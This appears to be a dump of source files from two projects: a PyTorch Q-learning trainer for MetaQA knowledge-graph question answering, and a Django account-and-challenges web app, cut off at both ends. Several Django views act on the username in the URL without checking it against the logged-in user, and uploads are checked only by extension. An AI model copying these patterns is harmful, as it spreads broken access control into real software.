kgnode = kgnode_next hidden = hidden_next context = context_next return kgnode_chain, action_chain, reward_chain def make_batch(episodes, tokenizer, action_to_ix, pad_index=0, sos_index=1): episodes = sorted(episodes, key=lambda x: (-len(tokenizer.tokenize(x.qa_instance.question)), -len(x.action_chain))) inputs = tokenizer(list(map(lambda x: x.qa_instance.question, episodes)), max_length=50, padding=True, truncation=True, return_tensors="pt", return_length=True) src = inputs["input_ids"].to(DEVICE) src_lengths = inputs["length"] max_len = max(len(x.action_chain) for x in episodes) trg = torch.cat(tuple(map(lambda x: torch.tensor([[sos_index] + [action_to_ix[action] for action in x.action_chain] + [pad_index]*(max_len-len(x.action_chain))], device=DEVICE), episodes)), dim=0) trg_lengths = list(map(lambda x: len(x.action_chain)+1, episodes)) kgnode_chains = [episode.kgnode_chain for episode in episodes] action_chains = [episode.action_chain for episode in episodes] reward_chains = [episode.reward_chain for episode in episodes] return Batch((src, src_lengths), (trg, trg_lengths), pad_index=pad_index), kgnode_chains, action_chains, reward_chains def compute_loss(episodes, tokenizer, model, action_to_ix, verbose=False): batch, kgnode_chains, action_chains, reward_chains = make_batch(episodes, tokenizer, action_to_ix) _, _, pre_output, _ = model.forward(batch.src, batch.trg, batch.src_mask, batch.trg_mask, batch.src_lengths, batch.trg_lengths) batch_values = model.evaluator(pre_output) losses = [] for (i, (kgnode_chain, action_chain, reward_chain)) in enumerate(zip(kgnode_chains, action_chains, reward_chains)): for t in range(len(kgnode_chain)): kgnode, action, reward = kgnode_chain[t], action_chain[t], reward_chain[t] if t != len(kgnode_chain)-1: kgnode_next = kgnode_chain[t+1] actions_next = unique([info["type"] for (_, _, info) in G.edges(kgnode_next, data=True)]) + ["terminate"] values_next = batch_values[i, t+1, [action_to_ix[action] for action in actions_next]] reference = reward + gamma*values_next.max().item() else: reference = reward losses.append(loss_func(batch_values[i, t, action_to_ix[action]], reference)) if verbose: print(" {:100s} {:30s} {:7.4f} {:7.4f}".format(kgnode, action, batch_values[i, t, action_to_ix[action]].data.to("cpu").item(), reference.to("cpu").item())) return sum(losses) / len(losses) def evaluate_accuracy(G, qa_instances, tokenizer, model, action_to_ix, max_len, verbose=False): num_success = 0 for qa_instance in qa_instances: with torch.no_grad(): _, _, reward_chain = simulate_episode(G, qa_instance, tokenizer, model, action_to_ix, max_len, 0.0, verbose) if verbose: print("\noutcome: {:s}\n".format("success" if (reward_chain[-1] == 1.0) else "failure")) num_success += 1 if (reward_chain[-1] == 1.0) else 0 return num_success / len(qa_instances) if __name__ == "__main__": emb_size = 256 hidden_size = 512 num_layers = 1 max_len = 4 gamma = 0.90 kappa = 0.20 epsilon_start = 1.00 epsilon_end = 0.10 decay_rate = 5.00 M = 3000000 batch_size = 32 experiment = "e{:03d}_h{:03d}_l{:02d}_g{:03d}_k{:03d}_m{:07d}".format(emb_size, hidden_size, num_layers, int(gamma*100), int(kappa*100), M) os.makedirs("checkpoints/{:s}".format(experiment), exist_ok=True) sys.stderr = sys.stdout = open("logs/{:s}".format(experiment), "w") entity_token = "[ETY]" tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased", additional_special_tokens=[entity_token]) G = read_MetaQA_KG() qa_train_1h, qa_dev_1h, qa_test_1h = read_MetaQA_Instances("1-hop", entity_token, DEVICE) qa_train_2h, qa_dev_2h, qa_test_2h = read_MetaQA_Instances("2-hop", entity_token, DEVICE) qa_train_3h, qa_dev_3h, qa_test_3h = read_MetaQA_Instances("3-hop", entity_token, DEVICE) qa_train = pd.concat([qa_train_1h, qa_train_2h, qa_train_3h]) qa_dev = pd.concat([ qa_dev_1h, qa_dev_2h, qa_dev_3h]) qa_test = pd.concat([ qa_test_1h, qa_test_2h, qa_test_3h]) possible_actions = ["[PAD]", "[SOS]"] + sorted(list(set([edge[2]["type"] for edge in G.edges(data=True)]))) + ["terminate"] action_to_ix = dict(map(reversed, enumerate(possible_actions))) model = make_model(len(tokenizer), len(possible_actions), emb_size=emb_size, hidden_size=hidden_size, num_layers=num_layers, dropout=0.2).to(DEVICE) loss_func = nn.MSELoss() optimizer = optim.AdamW(model.parameters(), lr=3.0e-4, betas=(0.9, 0.999), weight_decay=2.5e-4) memory_overall = ReplayMemory(1000) memory_success = ReplayMemory(1000) memory_failure = ReplayMemory(1000) for m in range(M): epsilon = epsilon_end + (epsilon_start - epsilon_end) * math.exp(-decay_rate * (m / M)) print("epsilon: {:5.3f}".format(epsilon)) if (len(memory_failure) > 0) and (random.random() < kappa): qa_instance = memory_failure.sample_random(1)[0].qa_instance else: qa_instance = qa_train.sample(1).values[0] with torch.no_grad(): kgnode_chain, action_chain, reward_chain = simulate_episode(G, qa_instance, tokenizer, model, action_to_ix, max_len, epsilon, verbose=True) print("\noutcome: {:s}\n".format("success" if (reward_chain[-1] == 1.0) else "failure")) if reward_chain[-1] == 1.0: memory_overall.push(Episode(qa_instance, kgnode_chain, action_chain, reward_chain)) memory_success.push(Episode(qa_instance, kgnode_chain, action_chain, reward_chain)) else: memory_overall.push(Episode(qa_instance, kgnode_chain, action_chain, reward_chain)) memory_failure.push(Episode(qa_instance, kgnode_chain, action_chain, reward_chain)) # optimize model episodes = memory_overall.sample_random(batch_size) loss = compute_loss(episodes, tokenizer, model, action_to_ix, verbose=True) optimizer.zero_grad() loss.backward() optimizer.step() print("\n") if (m+1) % 100000 == 0: model.train(False) print(" training accuracies for 1-hop, 2-hop, 3-hop questions are {:7.4f}, {:7.4f}, {:7.4f}".format(evaluate_accuracy(G, qa_train_1h, tokenizer, model, action_to_ix, max_len), evaluate_accuracy(G, qa_train_2h, tokenizer, model, action_to_ix, max_len), evaluate_accuracy(G, qa_train_3h, tokenizer, model, action_to_ix, max_len))) print("validation accuracies for 1-hop, 2-hop, 3-hop questions are {:7.4f}, {:7.4f}, {:7.4f}".format(evaluate_accuracy(G, qa_dev_1h, tokenizer, model, action_to_ix, max_len), evaluate_accuracy(G, qa_dev_2h, tokenizer, model, action_to_ix, max_len), evaluate_accuracy(G, qa_dev_3h, tokenizer, model, action_to_ix, max_len))) model.train(True) print("\n\n") torch.save({"model": model.state_dict()}, "checkpoints/{:s}/save@{:07d}.pt".format(experiment, m+1)) model.train(False) print(" testing accuracies for 1-hop, 2-hop, 3-hop questions are {:7.4f}, {:7.4f}, {:7.4f}".format(evaluate_accuracy(G, qa_test_1h, tokenizer, model, action_to_ix, max_len, True), evaluate_accuracy(G, qa_test_2h, tokenizer, model, action_to_ix, max_len, True), evaluate_accuracy(G, qa_test_3h, tokenizer, model, action_to_ix, max_len, True))) model.train(True) --- FILE SEPARATOR --- import os import torch from transformers import GPT2Tokenizer, GPT2Model os.environ['KMP_DUPLICATE_LIB_OK'] = 'True' # tokenizer.tokenize # tokenize.encode # tokenize.forward tokenizer = GPT2Tokenizer.from_pretrained('gpt2', pad_token="[PAD]", additional_special_tokens=["[OBJ]"]) model = GPT2Model.from_pretrained('gpt2') embedding_layer = model.resize_token_embeddings(len(tokenizer)) # Update the model embeddings with the new vocabulary size inputs = tokenizer("who is the writer for [OBJ]", max_length=50, padding="max_length", truncation=True, return_tensors='pt') outputs = model(input_ids=inputs["input_ids"], attention_mask=inputs["attention_mask"]) from transformers import AutoTokenizer tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased", additional_special_tokens=["[OBJ]"]) inputs = tokenizer("who is the writer for [OBJ]", max_length=10, padding="max_length", truncation=True, return_tensors='pt') --- FILE SEPARATOR --- import networkx as nx import pandas as pd import random import re import torch from collections import namedtuple from transformers import AutoTokenizer QAInstance = namedtuple("QAInstance", ["question", "decorated_entity", "answer_set"]) Episode = namedtuple("Episode", ["qa_instance", "kgnode_chain", "action_chain", "reward_chain"]) class ReplayMemory: def __init__(self, capacity): self.capacity = capacity self.memory = [] self.position = 0 def push(self, episode): if len(self.memory) < self.capacity: self.memory.append(None) self.memory[self.position] = episode self.position = (self.position + 1) % self.capacity def sample_random(self, batch_size): batch = random.choices(self.memory, k=batch_size) return batch def sample_last(self, batch_size): pointer = self.position batch = [] for _ in range(batch_size): pointer = (pointer - 1 + len(self.memory)) % len(self.memory) batch.append(self.memory[pointer]) return batch def __len__(self): return len(self.memory) def unique(items): return sorted(list(set(items))) def read_MetaQA_KG(): def edge_to_prefix(edge): if edge == "directed_by": return "director: " elif edge == "written_by": return "writer: " elif edge == "starred_actors": return "actor: " elif edge == "release_year": return "year: " elif edge == "in_language": return "language: " elif edge == "has_tags": return "tag: " elif edge == "has_genre": return "genre: " elif edge == "has_imdb_votes": return "votes: " elif edge == "has_imdb_rating": return "rating: " else: raise Exception("unexpected edge type \"" + edge + "\"") df = pd.read_csv("datasets/MetaQA/kb.txt", delimiter='|', names=["head", "edge", "tail"]) decorated_heads = "movie: " + df["head"] decorated_tails = df["edge"].apply(edge_to_prefix) + df["tail"] fwd_edges = "fwd_"+df["edge"] rvs_edges = "rvs_"+df["edge"] G = nx.MultiDiGraph() G.add_nodes_from(zip(decorated_heads.unique(), [{"type": decorated_head.split(':')[0]} for decorated_head in decorated_heads.unique()])) G.add_nodes_from(zip(decorated_tails.unique(), [{"type": decorated_tail.split(':')[0]} for decorated_tail in decorated_tails.unique()])) G.add_edges_from(zip(decorated_heads, decorated_tails, [{"type": fwd_edge} for fwd_edge in fwd_edges])) G.add_edges_from(zip(decorated_tails, decorated_heads, [{"type": rvs_edge} for rvs_edge in rvs_edges])) return G def read_MetaQA_Instances(question_type="1-hop", entity_token="[ETY]", device="cpu"): def process_question(question): processed_question = re.sub(r"(\[.+\])", entity_token, question) entity = re.search(r"\[(.+)\]", question).group(1) return processed_question, entity def process_answers(answers): return set(answers.split('|')) def info_to_instance(info): processed_question, entity = process_question(info["question"]) decorated_entity = info["question_type"].split('_')[0] + ": " + entity answer_set = process_answers(info["answers"]) return QAInstance(processed_question, decorated_entity, answer_set) qa_text_train = pd.read_csv("datasets/MetaQA/"+question_type+"/vanilla/qa_train.txt", delimiter='\t', names=["question", "answers"]) qa_qtype_train = pd.read_csv("datasets/MetaQA/"+question_type+"/qa_train_qtype.txt", names=["question_type"]) qa_info_train = pd.concat([qa_text_train, qa_qtype_train], axis=1) qa_instance_train = qa_info_train.apply(info_to_instance, axis=1) qa_text_dev = pd.read_csv("datasets/MetaQA/"+question_type+"/vanilla/qa_dev.txt", delimiter='\t', names=["question", "answers"]) qa_qtype_dev = pd.read_csv("datasets/MetaQA/"+question_type+"/qa_dev_qtype.txt", names=["question_type"]) qa_info_dev = pd.concat([qa_text_dev, qa_qtype_dev], axis=1) qa_instance_dev = qa_info_dev.apply(info_to_instance, axis=1) qa_text_test = pd.read_csv("datasets/MetaQA/"+question_type+"/vanilla/qa_test.txt", delimiter='\t', names=["question", "answers"]) qa_qtype_test = pd.read_csv("datasets/MetaQA/"+question_type+"/qa_test_qtype.txt", names=["question_type"]) qa_info_test = pd.concat([qa_text_test, qa_qtype_test], axis=1) qa_instance_test = qa_info_test.apply(info_to_instance, axis=1) return qa_instance_train, qa_instance_dev, qa_instance_test
[ "/main.py", "/playground.py", "/utils.py" ]
007Saikat/idil_demo
from django import forms from django.contrib.auth.models import User from .models import UserDetail class UserForm(forms.ModelForm): password=forms.CharField(widget=forms.PasswordInput(attrs={'placeholder':'Enter Password*','class':"form-control"})) username=forms.CharField(widget=forms.TextInput(attrs={'placeholder':'Enter username*','class':"form-control"})) first_name = forms.CharField(max_length=75, required=True,widget= forms.TextInput(attrs={'placeholder':'Enter your first name*','class': "form-control"})) last_name=forms.CharField(max_length=75,required=False,widget= forms.TextInput(attrs={'placeholder':'Enter your Last name','class': "form-control"})) email = forms.CharField(max_length=75, required=True,widget= forms.TextInput(attrs={'placeholder':'Enter email address*','class': "form-control"})) class Meta(): model=User fields=('username','first_name','last_name','email','password') class UserDetailForm(forms.ModelForm): profile_pic=forms.ImageField(required=False) class Meta(): model=UserDetail fields=('profile_pic',) --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-17 18:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('basic_app', '0002_auto_20200817_1353'), ] operations = [ migrations.AlterField( model_name='userdetail', name='role', field=models.CharField(blank=True, default='employee', max_length=100, null=True), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-19 16:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('basic_app', '0005_auto_20200819_2116'), ] operations = [ migrations.AlterField( model_name='userdetail', name='role', field=models.CharField(choices=[('A', 'admin'), ('E', 'employee')], default='E', max_length=128), ), ] --- FILE SEPARATOR --- from django.db import models from django.contrib.auth.models import User import os from uuid import uuid4 def path_and_rename(instance, filename): upload_to = 'profile_pics' ext = filename.split('.')[-1] # get filename if instance.pk: filename = '{}.{}'.format(instance.pk, ext) else: # set filename as random string filename = '{}.{}'.format(uuid4().hex, ext) # return the whole path to the file return os.path.join(upload_to, filename) # Create your models here. class UserDetail(models.Model): user=models.OneToOneField(User,on_delete=models.CASCADE) role=models.CharField(max_length=128,default='employee') profile_pic=models.ImageField(upload_to=path_and_rename,blank=True,null=True) last_login = models.DateTimeField(blank=True,null=True) def __str__(self): return self.user.username --- FILE SEPARATOR --- from django.urls import path,include from basic_app import views app_name='basic_app' urlpatterns = [ path('',views.login_register,name='login_register'), path('index/',views.index,name='index'), path('manage_acc/<username>',views.acc,name='acc'), path('upload/<username>',views.upload,name='upload'), path('save/<username>',views.save,name='save'), path('change/<username>',views.change,name='change'), path('update/<username>',views.update,name='update'), path('show/<username>',views.show,name='show'), path('apply/<username>',views.apply,name='apply'), path('logout',views.user_logout,name='user_logout'), ] --- FILE SEPARATOR --- from django.shortcuts import render,redirect from .forms import UserForm,UserDetailForm from django.http import HttpResponse,HttpResponseRedirect from django.contrib.auth import login from django.utils import timezone from django.contrib.auth.decorators import login_required from django.contrib.auth import authenticate,login,logout from django.urls import reverse from .models import User,UserDetail from user_admin.models import UserAdmin,Challenges,AppliedChallenges from idil import settings import os import cv2 # Create your views here. @login_required def home(request,username): context={} print(username+'sjh') user_list=User.objects.all() challenges=Challenges.objects.all() ac=AppliedChallenges.objects.all() context['challenges']=challenges appl=True p=0 for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info users=UserDetail.objects.all() for user2 in users: if str(user2)==str(username): context['usd']=user2 for c in challenges: for a in ac: if str(a.challenge)==str(c.name) and str(a.user)==str(context['usr']): p=a.points appl=False break context['a']=appl context['p']=p return render(request,'basic_app/home.html',context) @login_required def acc(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_detail_list=UserDetail.objects.all() for user2 in user_detail_list: if str(user2)==str(username): context['usd']=user2 return render(request,'basic_app/acc.html',context) @login_required def upload(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_details_list=UserDetail.objects.all() for user2 in user_details_list: if str(user2)==str(username): context['usd']=user2 if request.method=="POST": if len(request.FILES)!=0: img = request.FILES['pic'] img_extension = os.path.splitext(img.name)[1] s=settings.MEDIA_ROOT s=os.path.join(s, 'profile_pics') if context['usd'].profile_pic: c=str(context['usd'].profile_pic).split("/")[1] k=os.path.join(s,c) print("ghxc") if os.path.exists(k): os.remove(k) context['usd'].profile_pic=request.FILES['pic'] context['usd'].save() return render(request,'basic_app/acc.html',context) else: print("Image not there") context['usd'].profile_pic=request.FILES['pic'] context['usd'].save() return render(request,'basic_app/acc.html',context) @login_required def save(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_detail_list=UserDetail.objects.all() for user2 in user_detail_list: if str(user2)==str(username): context['usd']=user2 if request.method=="POST": context['usr'].email=request.POST.get('email') context['usr'].save() return render(request,'basic_app/acc.html',context) @login_required def update(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_detail_list=UserDetail.objects.all() for user2 in user_detail_list: if str(user2)==str(username): context['usd']=user2 if request.method=="POST": context['usr'].first_name=request.POST.get('fn') context['usr'].last_name=request.POST.get('ln') context['usr'].save() return render(request,'basic_app/acc.html',context) @login_required def change(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_detail_list=UserDetail.objects.all() for user2 in user_detail_list: if str(user2)==str(username): context['usd']=user2 if request.method=="POST": user1=authenticate(username=username,password=request.POST.get('op')) if user1==None: context['er']=True else: if request.POST.get('op')==request.POST.get('np'): context['dm']=True else: context['usr'].set_password(request.POST.get('np')) context['usr'].save() return render(request,'basic_app/acc.html',context) @login_required def user_logout(request): #request.session.flush() logout(request) return redirect('/') def index(request): context={} context['name']='Saikat' # user_form=UserForm(data=request.POST) # user_detail_form=UserDetailForm(data=request.POST) # context['user_form']=user_form # context['user_detail_form']=user_detail_form return render(request,'basic_app/index.html',context) def login_register(request): show_div=False print(request.method) if request.GET.get('login'): show_div=False elif request.GET.get('reg'): show_div=True context={} context['error']=False user_form=UserForm(data=request.POST) user_detail_form=UserDetailForm(data=request.POST) user_detail1=UserDetail if request.method == "POST" and show_div: print(user_form.is_valid()) print(user_detail_form.is_valid()) if user_form.is_valid() and user_detail_form.is_valid(): user = user_form.save(commit=False) user.set_password(user.password) user_detail=user_detail_form.save(commit=False) user_detail.user=user if len(request.FILES)!=0: p=request.FILES['profile_pic'] p=str(p) print(p) if p.endswith('.jpg') or p.endswith('.jpeg') or p.endswith('.png'): user_detail.profile_pic=request.FILES['profile_pic'] user.save() user_detail.save() request.session['username']=user.username login(request,user) return redirect('/basic_app/home') else: context['show_div']=True context['user_form']=user_form context['user_detail_form']=user_detail_form context['warning']=True return render(request,'basic_app/login.html',context) else: user.save() user_detail.save() request.session['username']=user.username login(request,user) return redirect('/basic_app/home') elif request.method == "POST" and not show_div: username=request.POST.get('username') password=request.POST.get('password') user1=authenticate(username=username,password=password) if user1!=None: user_detail_list=UserDetail.objects.all() ef=False for user2 in user_detail_list: if str(user2)==str(user1): ef=True break user_admin_list=UserAdmin.objects.all() af=False for user2 in user_admin_list: if str(user2)==str(user1): print(user2) af=True break request.session['username']=user1.username if af: u=str(user1) url = reverse('admin', kwargs={'username': u}) print(url) login(request,user1) return HttpResponseRedirect(url) elif ef: u=str(user1) url = reverse('user', kwargs={'username': u}) login(request,user1) return HttpResponseRedirect(url) else: context['error']=True context['user_form']=user_form context['user_detail_form']=user_detail_form context['show_div']=show_div return render(request,'basic_app/login.html',context) @login_required def show(request,username): c_name=username.split('_')[1] print(c_name) username=username.split("_")[0] challenges=Challenges.objects.all() ac=AppliedChallenges.objects.all() appl=True context={} for c in challenges: if str(c)==c_name: context['ch']=c user_list=User.objects.all() for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_detail_list=UserDetail.objects.all() for user2 in user_detail_list: if str(user2)==str(username): context['usd']=user2 for a in ac: if str(a.challenge)==str(context['ch']) and str(a.user)==str(context['usr']): appl=False break context['a']=appl return render(request,'basic_app/show.html',context) @login_required def apply(request,username): print(username) u=username.split("_")[0] c=username.split("_")[1] a=AppliedChallenges() n=0 challenges=Challenges.objects.all() for ca in challenges: if str(ca.name)==c: n=ca.applicant break n=n+1 l=AppliedChallenges.objects.filter(user=u).filter(challenge=c) if(len(l)==0): Challenges.objects.filter(pk=c).update(applicant=n) a.user=u a.challenge=c a.save() url = reverse('user', kwargs={'username': u}) return HttpResponseRedirect(url) --- FILE SEPARATOR --- from django.contrib import admin from .models import UserAdmin,Challenges # Register your models here. admin.site.register(UserAdmin) admin.site.register(Challenges) --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-19 18:28 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import user_admin.models class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='UserAdmin', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('role', models.CharField(default='admin', max_length=128)), ('profile_pic', models.ImageField(blank=True, null=True, upload_to=user_admin.models.path_and_rename)), ('last_login', models.DateTimeField(blank=True, null=True)), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-20 17:56 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0001_initial'), ] operations = [ migrations.CreateModel( name='Challenges', fields=[ ('name', models.CharField(max_length=255, primary_key=True, serialize=False)), ('technology', models.CharField(max_length=255)), ('account', models.CharField(max_length=255)), ('capability', models.CharField(max_length=255)), ('applicant_status', models.CharField(default='NOT FILLED', max_length=255)), ('date_posted', models.DateField(default=datetime.date.today)), ('expiry_date', models.DateField()), ('applicant', models.IntegerField(default=0)), ('manager', models.CharField(max_length=255)), ('owner', models.CharField(max_length=255)), ('desc', models.CharField(max_length=255)), ('points', models.IntegerField()), ('category', models.CharField(max_length=255)), ], ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-20 22:43 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0002_challenges'), ] operations = [ migrations.AlterField( model_name='challenges', name='applicant_status', field=models.CharField(blank=True, default='NOT_FILLED', max_length=255), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-20 22:45 from django.db import migrations, models import user_admin.models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0003_auto_20200821_0413'), ] operations = [ migrations.AlterField( model_name='challenges', name='applicant_status', field=models.CharField(default=user_admin.models.o, max_length=255), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-20 22:48 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0004_auto_20200821_0415'), ] operations = [ migrations.AlterField( model_name='challenges', name='applicant_status', field=models.CharField(default='0000000', editable=False, max_length=7), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-20 22:49 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('user_admin', '0005_auto_20200821_0418'), ] operations = [ migrations.RemoveField( model_name='challenges', name='applicant_status', ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-21 06:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0006_remove_challenges_applicant_status'), ] operations = [ migrations.AddField( model_name='challenges', name='applicant_status', field=models.CharField(default='NOT FILLED', max_length=255), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-23 08:06 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('user_admin', '0007_challenges_applicant_status'), ] operations = [ migrations.CreateModel( name='AppliedChallenges', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('completed', models.BooleanField(default=False)), ('points', models.IntegerField(default=0)), ('challenge', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_admin.Challenges')), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-23 08:21 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('user_admin', '0008_appliedchallenges'), ] operations = [ migrations.AlterField( model_name='appliedchallenges', name='challenge', field=models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to='user_admin.Challenges'), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0.3 on 2020-08-23 08:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user_admin', '0009_auto_20200823_1351'), ] operations = [ migrations.AlterField( model_name='appliedchallenges', name='challenge', field=models.CharField(max_length=255), ), migrations.AlterField( model_name='appliedchallenges', name='user', field=models.CharField(max_length=255), ), ] --- FILE SEPARATOR --- from django.db import models from django.contrib.auth.models import User import os from uuid import uuid4 import datetime def path_and_rename(instance, filename): upload_to = 'profile_pics' ext = filename.split('.')[-1] # get filename if instance.pk: filename = '{}.{}'.format(instance.pk, ext) else: # set filename as random string filename = '{}.{}'.format(uuid4().hex, ext) # return the whole path to the file return os.path.join(upload_to, filename) # Create your models here. def o(): return "NOT FILLED" class UserAdmin(models.Model): user=models.OneToOneField(User,on_delete=models.CASCADE) role=models.CharField(max_length=128,default='admin') profile_pic=models.ImageField(upload_to=path_and_rename,blank=True,null=True) last_login = models.DateTimeField(blank=True,null=True) def __str__(self): return self.user.username class Challenges(models.Model): name=models.CharField(primary_key=True,max_length=255) technology=models.CharField(max_length=255) account=models.CharField(max_length=255) capability=models.CharField(max_length=255) applicant_status=models.CharField(max_length=255,default="NOT FILLED") date_posted=models.DateField(default=datetime.date.today) expiry_date=models.DateField() applicant=models.IntegerField(default=0) manager=models.CharField(max_length=255) owner=models.CharField(max_length=255) desc=models.CharField(max_length=255) points=models.IntegerField() category=models.CharField(max_length=255) def __str__(self): return self.name class AppliedChallenges(models.Model): user=models.CharField(max_length=255) challenge=models.CharField(max_length=255) completed=models.BooleanField(default=False) points=models.IntegerField(default=0) def __str__(self): return self.user+'_'+self.challenge --- FILE SEPARATOR --- from django.urls import path,include from user_admin import views1 app_name='user_admin' urlpatterns = [ path('acc/<username>',views1.acc,name='acc'), path('upload/<username>',views1.upload,name='upload'), path('save/<username>',views1.save,name='save'), path('change/<username>',views1.change,name='change'), path('update/<username>',views1.update,name='update'), path('add/<username>',views1.add,name="add"), path('save_challenge/<username>',views1.save_challenge,name="save_challenge"), path('edit/<username>',views1.edit,name='edit'), path('show/<username>',views1.show,name='show'), path('delete/<username>',views1.delete,name='delete'), path('admin_logout/',views1.user_logout,name='admin_logout'), path('applicants/<username>',views1.applicants,name='applicants'), path('complete/<username>',views1.complete,name='complete') ] --- FILE SEPARATOR --- from django.shortcuts import render from django.shortcuts import render,redirect from django.http import HttpResponse,HttpResponseRedirect from django.contrib.auth import login from django.utils import timezone from django.contrib.auth.decorators import login_required from django.contrib.auth import authenticate,login,logout from django.urls import reverse from basic_app.models import User,UserDetail from user_admin.models import UserAdmin,Challenges,AppliedChallenges from idil import settings import os import cv2 # Create your views here. @login_required def index(request,username): context={} print(username+'sjh') user_list=User.objects.all() challenges=Challenges.objects.all() context['challenges']=challenges for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 return render(request,'user_admin/index.html',context) @login_required def acc(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 return render(request,'user_admin/acc.html',context) @login_required def upload(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": if len(request.FILES)!=0: img = request.FILES['pic'] img_extension = os.path.splitext(img.name)[1] s=settings.MEDIA_ROOT s=os.path.join(s, 'profile_pics') if context['uad'].profile_pic: c=str(context['uad'].profile_pic).split("/")[1] k=os.path.join(s,c) print("ghxc") if os.path.exists(k): os.remove(k) context['uad'].profile_pic=request.FILES['pic'] context['uad'].save() return render(request,'user_admin/acc.html',context) else: print("Image not there") context['uad'].profile_pic=request.FILES['pic'] context['uad'].save() return render(request,'user_admin/acc.html',context) @login_required def save(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": context['usr'].email=request.POST.get('email') context['usr'].save() return render(request,'user_admin/acc.html',context) @login_required def update(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": context['usr'].first_name=request.POST.get('fn') context['usr'].last_name=request.POST.get('ln') context['usr'].save() return render(request,'user_admin/acc.html',context) @login_required def change(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": user1=authenticate(username=username,password=request.POST.get('op')) if user1==None: context['er']=True else: if request.POST.get('op')==request.POST.get('np'): context['dm']=True else: context['usr'].set_password(request.POST.get('np')) context['usr'].save() return render(request,'user_admin/acc.html',context) @login_required def add(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 return render(request,'user_admin/add.html',context) @login_required def save_challenge(request,username): user_list=User.objects.all() context={} for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": challange=Challenges() challange.name=request.POST.get('cn') challange.technology=request.POST.get('tech') challange.account=request.POST.get('acc') challange.capability=request.POST.get('cap') challange.applicant_status=request.POST.get('astat') challange.expiry_date=request.POST.get('edate') challange.category=request.POST.get('cat') challange.manager=request.POST.get('manager') challange.owner=request.POST.get('powner') challange.points=request.POST.get('points') challange.desc=request.POST.get('desc') challange.applicant_status="NOT FILLED" challange.save() url = reverse('admin', kwargs={'username': username}) return HttpResponseRedirect(url) @login_required def edit(request,username): c_name=username.split('_')[1] username=username.split("_")[0] challenges=Challenges.objects.all() context={} k=Challenges() for c in challenges: if str(c)==c_name: context['ch']=c k=c 